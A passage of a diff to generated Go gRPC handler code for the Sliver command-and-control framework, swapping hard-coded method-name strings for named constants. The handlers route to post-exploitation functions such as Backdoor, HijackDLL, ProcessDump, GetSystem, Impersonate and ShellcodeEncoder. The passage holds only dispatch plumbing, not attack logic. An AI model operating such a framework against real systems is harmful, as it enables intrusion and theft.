+ handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.ShellcodeEncodeReq) if err := dec(in); err != nil { @@ -3897,7 +4196,7 @@ func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder", + FullMethod: SliverRPC_ShellcodeEncoder_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq)) @@ -3915,7 +4214,7 @@ func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap", + FullMethod: SliverRPC_ShellcodeEncoderMap_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty)) @@ -3933,7 +4232,7 @@ func _SliverRPC_TrafficEncoderMap_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderMap", + FullMethod: SliverRPC_TrafficEncoderMap_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderMap(ctx, req.(*commonpb.Empty)) @@ -3951,7 +4250,7 @@ func _SliverRPC_TrafficEncoderAdd_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderAdd", + FullMethod: SliverRPC_TrafficEncoderAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderAdd(ctx, req.(*clientpb.TrafficEncoder)) @@ -3969,7 +4268,7 @@ func _SliverRPC_TrafficEncoderRm_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderRm", + FullMethod: SliverRPC_TrafficEncoderRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderRm(ctx, req.(*clientpb.TrafficEncoder)) @@ -3987,7 +4286,7 @@ func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Websites", + FullMethod: SliverRPC_Websites_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Websites(ctx, req.(*commonpb.Empty)) @@ -4005,7 +4304,7 @@ func _SliverRPC_Website_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Website", + FullMethod: SliverRPC_Website_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Website(ctx, req.(*clientpb.Website)) @@ -4023,7 +4322,7 @@ func _SliverRPC_WebsiteRemove_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteRemove", + FullMethod: SliverRPC_WebsiteRemove_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteRemove(ctx, req.(*clientpb.Website)) @@ -4041,7 +4340,7 @@ func _SliverRPC_WebsiteAddContent_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteAddContent", + FullMethod: SliverRPC_WebsiteAddContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteAddContent(ctx, req.(*clientpb.WebsiteAddContent)) @@ -4059,7 +4358,7 @@ func _SliverRPC_WebsiteUpdateContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteUpdateContent", + FullMethod: SliverRPC_WebsiteUpdateContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteUpdateContent(ctx, req.(*clientpb.WebsiteAddContent)) @@ -4077,7 +4376,7 @@ func _SliverRPC_WebsiteRemoveContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteRemoveContent", + FullMethod: SliverRPC_WebsiteRemoveContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteRemoveContent(ctx, req.(*clientpb.WebsiteRemoveContent)) @@ -4095,7 +4394,7 @@ func _SliverRPC_Ping_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ping", + FullMethod: SliverRPC_Ping_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ping(ctx, req.(*sliverpb.Ping)) @@ -4113,7 +4412,7 @@ func _SliverRPC_Ps_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ps", + FullMethod: SliverRPC_Ps_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ps(ctx, req.(*sliverpb.PsReq)) @@ -4131,7 +4430,7 @@ func _SliverRPC_Terminate_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Terminate", + FullMethod: SliverRPC_Terminate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Terminate(ctx, req.(*sliverpb.TerminateReq)) @@ -4149,7 +4448,7 @@ func _SliverRPC_Ifconfig_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ifconfig", + FullMethod: SliverRPC_Ifconfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ifconfig(ctx, req.(*sliverpb.IfconfigReq)) @@ -4167,7 +4466,7 @@ func _SliverRPC_Netstat_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Netstat", + FullMethod: SliverRPC_Netstat_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Netstat(ctx, req.(*sliverpb.NetstatReq)) @@ -4185,7 +4484,7 @@ func _SliverRPC_Ls_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ls", + FullMethod: SliverRPC_Ls_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ls(ctx, req.(*sliverpb.LsReq)) @@ -4203,7 +4502,7 @@ func _SliverRPC_Cd_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Cd", + FullMethod: SliverRPC_Cd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Cd(ctx, req.(*sliverpb.CdReq)) @@ -4221,7 +4520,7 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Pwd", + FullMethod: SliverRPC_Pwd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Pwd(ctx, req.(*sliverpb.PwdReq)) @@ -4239,7 +4538,7 @@ func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Mv", + FullMethod: SliverRPC_Mv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq)) @@ -4257,7 +4556,7 @@ func _SliverRPC_Cp_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Cp", + FullMethod: SliverRPC_Cp_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Cp(ctx, req.(*sliverpb.CpReq)) @@ -4275,7 +4574,7 @@ func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Rm", + FullMethod: SliverRPC_Rm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Rm(ctx, req.(*sliverpb.RmReq)) @@ -4293,7 +4592,7 @@ func _SliverRPC_Mkdir_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Mkdir", + FullMethod: SliverRPC_Mkdir_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Mkdir(ctx, req.(*sliverpb.MkdirReq)) @@ -4311,7 +4610,7 @@ func _SliverRPC_Download_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Download", + FullMethod: SliverRPC_Download_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Download(ctx, req.(*sliverpb.DownloadReq)) @@ -4329,7 +4628,7 @@ func _SliverRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Upload", + FullMethod: SliverRPC_Upload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Upload(ctx, req.(*sliverpb.UploadReq)) @@ -4347,7 +4646,7 @@ func _SliverRPC_Chmod_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chmod", + FullMethod: SliverRPC_Chmod_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chmod(ctx, req.(*sliverpb.ChmodReq)) @@ -4365,7 +4664,7 @@ func _SliverRPC_Chown_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chown", + FullMethod: SliverRPC_Chown_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chown(ctx, req.(*sliverpb.ChownReq)) @@ -4383,7 +4682,7 @@ func _SliverRPC_Chtimes_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chtimes", + FullMethod: SliverRPC_Chtimes_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chtimes(ctx, req.(*sliverpb.ChtimesReq)) @@ -4401,7 +4700,7 @@ func _SliverRPC_MemfilesList_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesList", + FullMethod: SliverRPC_MemfilesList_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesList(ctx, req.(*sliverpb.MemfilesListReq)) @@ -4419,7 +4718,7 @@ func _SliverRPC_MemfilesAdd_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesAdd", + FullMethod: SliverRPC_MemfilesAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesAdd(ctx, req.(*sliverpb.MemfilesAddReq)) @@ -4437,7 +4736,7 @@ func _SliverRPC_MemfilesRm_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesRm", + FullMethod: SliverRPC_MemfilesRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesRm(ctx, req.(*sliverpb.MemfilesRmReq)) @@ -4455,7 +4754,7 @@ func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ProcessDump", + FullMethod: SliverRPC_ProcessDump_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ProcessDump(ctx, req.(*sliverpb.ProcessDumpReq)) @@ -4473,7 +4772,7 @@ func _SliverRPC_RunAs_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RunAs", + FullMethod: SliverRPC_RunAs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RunAs(ctx, req.(*sliverpb.RunAsReq)) @@ -4491,7 +4790,7 @@ func _SliverRPC_Impersonate_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Impersonate", + FullMethod: SliverRPC_Impersonate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Impersonate(ctx, req.(*sliverpb.ImpersonateReq)) @@ -4509,7 +4808,7 @@ func _SliverRPC_RevToSelf_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RevToSelf", + FullMethod: SliverRPC_RevToSelf_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RevToSelf(ctx, req.(*sliverpb.RevToSelfReq)) @@ -4527,7 +4826,7 @@ func _SliverRPC_GetSystem_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetSystem", + FullMethod: SliverRPC_GetSystem_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetSystem(ctx, req.(*clientpb.GetSystemReq)) @@ -4545,7 +4844,7 @@ func _SliverRPC_Task_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Task", + FullMethod: SliverRPC_Task_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Task(ctx, req.(*sliverpb.TaskReq)) @@ -4563,7 +4862,7 @@ func _SliverRPC_Msf_Handler(srv interface{}, ctx context.Context, dec func(inter } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Msf", + FullMethod: SliverRPC_Msf_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Msf(ctx, req.(*clientpb.MSFReq)) @@ -4581,7 +4880,7 @@ func _SliverRPC_MsfRemote_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MsfRemote", + FullMethod: SliverRPC_MsfRemote_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MsfRemote(ctx, req.(*clientpb.MSFRemoteReq)) @@ -4599,7 +4898,7 @@ func _SliverRPC_ExecuteAssembly_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecuteAssembly", + FullMethod: SliverRPC_ExecuteAssembly_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecuteAssembly(ctx, req.(*sliverpb.ExecuteAssemblyReq)) @@ -4617,7 +4916,7 @@ func _SliverRPC_Migrate_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Migrate", + FullMethod: SliverRPC_Migrate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Migrate(ctx, req.(*clientpb.MigrateReq)) @@ -4635,7 +4934,7 @@ func _SliverRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Execute", + FullMethod: SliverRPC_Execute_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Execute(ctx, req.(*sliverpb.ExecuteReq)) @@ -4653,7 +4952,7 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecuteWindows", + FullMethod: SliverRPC_ExecuteWindows_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecuteWindows(ctx, req.(*sliverpb.ExecuteWindowsReq)) @@ -4671,7 +4970,7 @@ func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Sideload", + FullMethod: SliverRPC_Sideload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Sideload(ctx, req.(*sliverpb.SideloadReq)) @@ -4689,7 +4988,7 @@ func _SliverRPC_SpawnDll_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SpawnDll", + FullMethod: SliverRPC_SpawnDll_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SpawnDll(ctx, req.(*sliverpb.InvokeSpawnDllReq)) @@ -4707,7 +5006,7 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Screenshot", + FullMethod: SliverRPC_Screenshot_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Screenshot(ctx, req.(*sliverpb.ScreenshotReq)) @@ -4725,7 +5024,7 @@ func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CurrentTokenOwner", + FullMethod: SliverRPC_CurrentTokenOwner_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CurrentTokenOwner(ctx, req.(*sliverpb.CurrentTokenOwnerReq)) @@ -4743,7 +5042,7 @@ func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotStartListener", + FullMethod: SliverRPC_PivotStartListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotStartListener(ctx, req.(*sliverpb.PivotStartListenerReq)) @@ -4761,7 +5060,7 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotStopListener", + FullMethod: SliverRPC_PivotStopListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotStopListener(ctx, req.(*sliverpb.PivotStopListenerReq)) @@ -4779,7 +5078,7 @@ func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners", + FullMethod: SliverRPC_PivotSessionListeners_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq)) @@ -4797,7 +5096,7 @@ func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotGraph", + FullMethod: SliverRPC_PivotGraph_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty)) @@ -4815,7 +5114,7 @@ func _SliverRPC_StartService_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartService", + FullMethod: SliverRPC_StartService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartService(ctx, req.(*sliverpb.StartServiceReq)) @@ -4833,7 +5132,7 @@ func _SliverRPC_StopService_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StopService", + FullMethod: SliverRPC_StopService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StopService(ctx, req.(*sliverpb.StopServiceReq)) @@ -4851,7 +5150,7 @@ func _SliverRPC_RemoveService_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RemoveService", + FullMethod: SliverRPC_RemoveService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RemoveService(ctx, req.(*sliverpb.RemoveServiceReq)) @@ -4869,7 +5168,7 @@ func _SliverRPC_MakeToken_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MakeToken", + FullMethod: SliverRPC_MakeToken_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MakeToken(ctx, req.(*sliverpb.MakeTokenReq)) @@ -4887,7 +5186,7 @@ func _SliverRPC_GetEnv_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetEnv", + FullMethod: SliverRPC_GetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetEnv(ctx, req.(*sliverpb.EnvReq)) @@ -4905,7 +5204,7 @@ func _SliverRPC_SetEnv_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SetEnv", + FullMethod: SliverRPC_SetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SetEnv(ctx, req.(*sliverpb.SetEnvReq)) @@ -4923,7 +5222,7 @@ func _SliverRPC_UnsetEnv_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/UnsetEnv", + FullMethod: SliverRPC_UnsetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).UnsetEnv(ctx, req.(*sliverpb.UnsetEnvReq)) @@ -4941,7 +5240,7 @@ func _SliverRPC_Backdoor_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Backdoor", + FullMethod: SliverRPC_Backdoor_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Backdoor(ctx, req.(*clientpb.BackdoorReq)) @@ -4959,7 +5258,7 @@ func _SliverRPC_RegistryRead_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryRead", + FullMethod: SliverRPC_RegistryRead_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryRead(ctx, req.(*sliverpb.RegistryReadReq)) @@ -4977,7 +5276,7 @@ func _SliverRPC_RegistryWrite_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryWrite", + FullMethod: SliverRPC_RegistryWrite_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryWrite(ctx, req.(*sliverpb.RegistryWriteReq)) @@ -4995,7 +5294,7 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryCreateKey", + FullMethod: SliverRPC_RegistryCreateKey_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryCreateKey(ctx, req.(*sliverpb.RegistryCreateKeyReq)) @@ -5013,7 +5312,7 @@ func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey", + FullMethod: SliverRPC_RegistryDeleteKey_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq)) @@ -5031,7 +5330,7 @@ func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys", + FullMethod: SliverRPC_RegistryListSubKeys_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq)) @@ -5049,7 +5348,7 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryListValues", + FullMethod: SliverRPC_RegistryListValues_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq)) @@ -5067,7 +5366,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RunSSHCommand", + FullMethod: SliverRPC_RunSSHCommand_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RunSSHCommand(ctx, req.(*sliverpb.SSHCommandReq)) @@ -5085,7 +5384,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HijackDLL", + FullMethod: SliverRPC_HijackDLL_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq)) @@ -5103,7 +5402,7 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetPrivs", + FullMethod: SliverRPC_GetPrivs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq)) @@ -5121,7 +5420,7 @@ func _SliverRPC_StartRportFwdListener_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartRportFwdListener", + FullMethod: SliverRPC_StartRportFwdListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartRportFwdListener(ctx, req.(*sliverpb.RportFwdStartListenerReq)) @@ -5139,7 +5438,7 @@ func _SliverRPC_GetRportFwdListeners_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetRportFwdListeners", + FullMethod: SliverRPC_GetRportFwdListeners_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetRportFwdListeners(ctx, req.(*sliverpb.RportFwdListenersReq)) @@ 